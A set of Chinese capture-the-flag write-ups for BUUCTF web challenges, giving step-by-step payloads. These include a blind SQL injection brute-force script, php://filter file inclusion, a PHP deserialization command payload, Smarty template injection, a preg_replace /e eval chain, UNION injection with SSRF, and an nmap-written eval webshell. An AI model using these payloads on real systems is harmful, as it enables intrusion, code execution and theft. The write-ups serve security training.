[CISCN2019 华北赛区 Day2 Web1]Hack World
步骤1:启动靶机并测试页面功能
-
点击BUUCTF页面中的启动靶机按钮
-
复制生成的靶机地址(格式如
http://node4.buuoj.cn:28080/) -
在浏览器中访问该地址
页面功能测试
-
输入
1提交 → 返回:Hello, glzjin wants a girlfriend. -
输入
2提交 → 返回:Hello, glzjin wants a girlfriend too.
-
输入
3提交 → 返回:Error Occured When Fetch Result.
-
输入
1'提交 → 返回:bool(false)
原理说明
页面通过id参数查询数据库,不同的id值返回不同结果。输入单引号触发了SQL注入检测,说明存在SQL注入漏洞,且SQL语句使用单引号闭合。
步骤2:确认SQL注入点与注入类型
测试注入类型
这道题没有直接的数据库内容回显,只有两种有效返回结果(正常/错误),因此属于布尔盲注。布尔盲注的核心是:构造条件语句,根据页面返回结果判断条件是否成立。
步骤3:测试过滤规则并找到绕过方法
过滤测试
依次输入以下内容测试过滤规则:
-
1 and 1=1→ 返回SQL Injection Checked.(空格和and被过滤) -
1or1=1→ 返回SQL Injection Checked.(or被过滤) -
1 union select 1→ 返回SQL Injection Checked.(union和select被过滤)
-
if(1=1,1,2)→ 返回正常结果(if函数和=未被过滤)
关键绕过方法
这道题的过滤规则是过滤单独的关键字 ,但关键字后紧跟括号时不会被过滤。例如:
-
select会被过滤,但select(flag)不会被过滤 -
from会被过滤,但from(flag)不会被过滤
因此我们可以使用select(字段)from(表名)的格式绕过关键字过滤。
步骤4:构造布尔盲注Payload
核心Payload格式
if((select(substr(flag,{位置},1))from(flag))='{字符}',1,2)
Payload原理
-
if(条件, 真结果, 假结果):SQL中的条件函数,如果条件成立返回真结果,否则返回假结果 -
select(substr(flag,{位置},1))from(flag):从flag表的flag字段中截取第{位置}位的1个字符 -
如果截取的字符等于
{字符},则返回1,页面显示Hello, glzjin wants a girlfriend. -
如果不相等,则返回
2,页面显示Hello, glzjin wants a girlfriend too.
测试Payload有效性
输入if((select(substr(flag,1,1))from(flag))='f',1,2)提交,返回正常结果,说明Flag的第一个字符确实是f,Payload有效。

步骤5:编写Python脚本自动化爆破Flag
前置准备
安装requests库:
pip install requests
完整爆破脚本
注意:当某个字段爆破失败需要将已经得到的前n位+手动加的'-'填入脚本相应位置再进行爆破。
import requests import time # 只改这里的靶机地址 url = "http://6137c7e9-08b9-4f5a-9318-ff4d20ed4f57.node5.buuoj.cn:81/" # 🔥 把你已经得到的前n位+手动加的'-'填在这里 # 例如:flag = "flag{1234567890ab-" flag = "flag{73ac7cab-61ed-494b-be4f-" # 🔥 把'-'移到最前面,优先测试横杠,避免卡壳 charset = "-flag{}0123456789abcdef" print("=" * 50) print("🚀 继续爆破,已优化横杠检测") print(f"📝 当前已获取:{flag}") print("=" * 50) print() # 从当前长度+1开始 for pos in range(len(flag) + 1, 50): print(f"🔍 正在爆破第{pos}位...") while True: found = False for char in charset: payload = f"if((select(substr(flag,{pos},1))from(flag))='{char}',1,2)" # 增加重试次数和间隔 for _ in range(5): try: r = requests.post(url, data={"id": payload}, timeout=15) break except: time.sleep(2) else: continue if "Hello" in r.text: flag += char print(f"✅ 第{pos}位:{char}") print(f"📌 当前Flag:{flag}") print() found = True break if found: break else: print(f"⚠️ 第{pos}位暂时没找到,休息5秒后重试...") time.sleep(5) if flag.endswith('}'): break # 增加每个字符后的延迟 time.sleep(1) print("=" * 50) print("🎉 爆破完成!") print(f"🏆 最终Flag:{flag}") print("=" * 50)

脚本原理
-
遍历Flag的每个字符位置(从1开始)
-
对每个位置,遍历字符集中的所有可能字符
-
构造Payload并发送请求,根据页面返回结果判断字符是否正确
-
将正确的字符拼接成完整的Flag
[BSidesCF 2020] Had a bad day
考点 :PHP 文件包含漏洞、php://filter伪协议、路径插入绕过
难度:入门级(反套路,容易踩坑)
一、完整解题流程
步骤 1:启动靶机并发现漏洞
-
启动靶机,访问靶机地址,看到一个展示动物图片的页面
-
观察 URL 结构:
http://xxx/index.php?category=animals -
点击页面上的 "WOOFERS" 和 "MEOWERS" 按钮,URL 分别变为:
-
?category=woofers -
?category=meowers


-
-
确认
category参数是文件包含点,后端会自动包含{参数}.php文件
步骤 2:测试并发现真实过滤规则
-
尝试输入任意字符串:
?category=test -
页面返回提示:
Sorry, we currently only support woofers and meowers.
3.得出结论:参数必须包含
woofers、meowers或index中的一个(白名单过滤)
步骤 3:构造绕过 Payload 读取源码
利用php://filter伪协议的特性:路径中可以插入任意目录名,会被自动忽略
?category=php://filter/convert.base64-encode/index/resource=index
-
在伪协议中间插入
/index/,满足 "必须包含 index" 的过滤条件 -
成功获取
index.php的 base64 编码源码
步骤 4:读取 flag.php 获取 Flag
?category=php://filter/convert.base64-encode/index/resource=flag
-
将得到的 base64 字符串解码,即可看到完整 Flag:
flag{be6c140f-a113-4790-93e3-c6f2be02084c}

二、核心原理详解
1. 后端真实过滤代码
<?php $file = $_GET['category']; if(isset($file)) { // 核心过滤:必须包含三个字符串中的一个 if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index") !== false ){ include ($file . '.php'); // 自动添加.php后缀 } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
2. 绕过原理
-
php://filter伪协议的路径解析非常灵活,中间的任意目录名都会被忽略 -
php://filter/convert.base64-encode/index/resource=flag -
等价于:
php://filter/convert.base64-encode/resource=flag -
但同时满足了 "参数中包含 index" 的过滤条件
[网鼎杯 2020 朱雀组] phpweb
一、基础信息
-
页面参数 :
func(函数名)、p(函数参数) -
传参方式 :
$_REQUEST接收,GET/POST 都支持(直接浏览器地址栏传参即可) -
核心功能 :后端调用
gettime(函数, 参数)执行用户传入的函数
二、详细解题步骤
步骤 1:读取源码
Payload
?func=file_get_contents&p=index.php

步骤 2:构造反序列化 Payload
本地生成 Test 类序列化字符串,执行命令读取 flag
<?php class Test{ var $p; var $func; } $a = new Test(); $a->func = "system"; $a->p = "cat /tmp/flagoefiu4r93"; echo serialize($a); ?>
生成结果:
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 3:执行 Payload,获取 Flag
最终可用 Payload(直接复制到地址栏)
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 4:执行结果
页面直接输出 Flag:flag{eed27067-6ce4-4f00-a4a4-fba7015e6579}
[BJDCTF2020] The mystery of ip
一、题目核心分析
访问靶机页面,显示 Your IP is : 192.168.122.15,可得出两个关键结论:


-
页面显示的 IP 不是真实访问 IP,而是从请求头中读取的。
-
这类题通常通过
X-Forwarded-For请求头伪造 IP,服务器会解析该请求头的内容并输出到页面。
二、步骤 1:抓包验证 IP 可控
-
打开 Burp Suite,开启
Intercept拦截(显示 "Intercept is on"),浏览器代理指向 Burp(默认127.0.0.1:8080)。 -
浏览器访问靶机地址,请求会被 Burp 拦截。
-
在请求头中添加
X-Forwarded-For: 123,点击Forward放包,页面 IP 变为123,确认 IP 由该请求头控制。

三、步骤 2:验证 SSTI 模板注入漏洞
Smarty 模板的特点是可以解析 {表达式} 格式的语法,直接在页面执行计算 / 命令:
-
再次抓包,修改请求头为:
X-Forwarded-For: {7*7} -
放包后,页面 IP 变为
49,证明服务器解析了模板语法,存在 SSTI 注入漏洞。

四、步骤 3:构造 Payload 并执行
1. 最终 Payload
X-Forwarded-For: {system('cat /flag')}
2. 完整请求包参考
GET /flag.php HTTP/1.1 Host: node5.buuoj.cn:29560 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node5.buuoj.cn:29560/flag.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close X-Forwarded-For: {system('cat /flag')} (这里是空行,分隔请求头和请求体,不要删除!)
五、步骤 4:放包获取 Flag
-
确认请求头修改正确后,点击 Burp 的
Forward按钮放行请求。 -
浏览器页面会显示执行结果,Flag 会出现在 IP 显示的位置;如果浏览器有缓存,可以按
Ctrl+Shift+R强制刷新,或者直接在 Burp 的Response标签页查看服务器返回的完整内容。


[BJDCTF2020] ZJCTF,不过如此
一、题目核心逻辑拆解(主页面源码)
启动靶机后,主页面的 PHP 核心代码如下:
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1><br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //关键漏洞点:文件包含 } else{ highlight_file(__FILE__); } ?>

三个关键规则(必须全部满足)
-
text 参数校验 :
file_get_contents($text)读取的内容必须等于字符串I have a dream,否则不会进入文件包含逻辑。 -
file 参数过滤 :
$file中不能包含flag字符串,否则直接退出(所以不能直接包含 flag 文件)。 -
文件包含漏洞 :满足条件后,会执行
include($file),我们需要利用它包含next.php来拿到后续的漏洞点。
二、步骤 1:绕过 text 参数校验(用 data:// 伪协议)
问题:怎么让file_get_contents($text)等于I have a dream?
直接传字符串不行,因为file_get_contents默认是读文件路径,所以用 data://伪协议 ,直接在 URL 里嵌入数据,让file_get_contents读取我们传入的内容。
Payload:
?text=data://text/plain,I have a dream
-
data://text/plain,:伪协议前缀,表示后面的内容是纯文本数据 -
I have a dream:我们要传入的内容,刚好满足校验条件
效果:页面会输出<h1>I have a dream</h1>,证明 text 条件通过了。

三、步骤 2:读取 next.php 的源码(用 php://filter 伪协议)
问题:直接include(next.php)只会执行代码,看不到源码怎么办?
用 php://filter伪协议,把 next.php 的源码转成 base64 编码输出,解码后就能拿到完整源码。
Payload:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
-
php://filter/read=convert.base64-encode/resource=next.php:读取 next.php 的源码,转成 base64 输出
-
解码后得到
next.php的核心代码:
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { // preg_replace的/e模式:会把替换后的内容当作PHP代码执行 return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str); } // 关键循环:遍历所有GET参数,参数名作为正则$re,参数值作为字符串$str foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); // 命令执行点:eval($_GET['cmd']) } ?>

四、步骤 3:触发 preg_replace/e 模式漏洞,执行命令
漏洞原理
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str) 中的 /e 模式,是 PHP 的危险特性:
-
$re:正则表达式(来自 GET 参数的参数名) -
$str:要匹配的字符串(来自 GET 参数的参数值) -
当
$re匹配到$str时,会用strtolower("\\1")替换匹配到的内容,而\\1会引用正则捕获的分组内容,被当作 PHP 代码执行
触发方式:用匹配任意字符的正则作为参数名
我们需要让$re能匹配到$str(也就是${getFlag()}),所以用\S*(匹配任意非空白字符)作为参数名,这样正则/\S*/ei就能匹配整个字符串,触发替换。
最终完整 Payload:
?text=data://text/plain,I have a dream&file=next.php&cmd=system('cat /flag');&\S*=${getFlag()}
每个参数的作用:
-
text=data://text/plain,I have a dream:过主页面的 text 校验 -
file=next.php:包含 next.php,执行里面的代码 -
cmd=system('cat /flag'):给eval传入要执行的命令,读取 flag 文件
&\S*=${getFlag()}
:触发 preg_replace/e 模式
-
参数名
\S*:正则/\S*/ei,匹配任意非空白字符 -
参数值
${getFlag()}:被正则匹配后,会被strtolower("\\1")解析为 PHP 代码,调用getFlag()函数,进而执行eval($_GET['cmd'])

[网鼎杯 2018]Fakebook
打开靶场,看到注册登录界面

用dirsearch目录爆破,发现这个文件,尝试访问

看到这个文件,访问下载


打开文件看一下

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用
也注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式
建一个账号

进入账号,发现no参数

尝试sql注入
由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法,报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为 /var/www/html/flag.php

?no=1 and 1=1回显正常,判断存在sql注入

order by判断字段数
试的5报错

试的4回显正常 所以字段数为4

union联合查询
?no=1 union select 1,2,3,database()

显示no hack_,判断存在字段过滤
select没被过滤

union也没被过滤

union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/\**/注释绕过

?no=-1 union/**/select 1,2,3,4

成功绕过,看到username回显正常,判断username为回显位置,为2
查询当前数据库
?no=-1 union/**/select 1,database(),3,4

库名为fakebook
爆库
?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

fakebook就是我们要的库,爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

查数据
?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

构造payload时这边改成file:///var/www/html/flag.php要更改长度为29
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问变正常,查看源代码得到一个base64编码,复制

进行解码得到flag

【BUUCTF】Online Tool
一、基础信息
-
题目:Online Tool
-
核心原理:绕过滤 → 用 nmap 写木马文件 → 蚁剑连接拿 flag
-
我们用到 nmap 的一个写文件功能,直接复制 Payload 即可
二、完整操作步骤
步骤 1:启动靶机,获取网址
-
打开题目页面,点击 启动靶机
-
访问靶机地址(格式:
http://xxxx.buuoj.cn:81/)
步骤 2:写入木马文件
-
把下面的 Payload 拼接到你的靶机网址后面
-
完整访问地址(直接复制,替换成你的靶机地址):
http://你的靶机地址/?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
-
访问后,页面会显示一行文字:
you are in sandbox xxxxxxxxxxxxxxxxxxxx
-
中间这串 乱码一样的字符串 是目录名,复制保存好!

步骤 3:找到木马文件的访问地址
拼接规则:
你的靶机地址/复制的目录名/hack.php
示例:
http://xxxx.buuoj.cn:80/1a2b3c4d5e6f7g8h9i0j/hack.php
- 访问这个地址,页面空白 = 写入成功!
步骤 4:打开蚁剑,连接木马
-
打开蚁剑 → 空白处右键 → 添加数据
-
填写配置:
-
URL 地址:粘贴步骤 3 的木马地址
-
连接密码 :填
hack -
其他全部默认,不用改
-
-
点击 测试连接 → 显示
连接成功→ 点添加
步骤 5:蚁剑内读取 flag
-
连接成功后,蚁剑会列出
sandbox目录下的文件,双击进入文件管理器。 -
可以直接在蚁剑的终端中执行命令:
cat /flag
- 或在文件浏览器中,找到根目录下的
flag文件,双击查看内容。

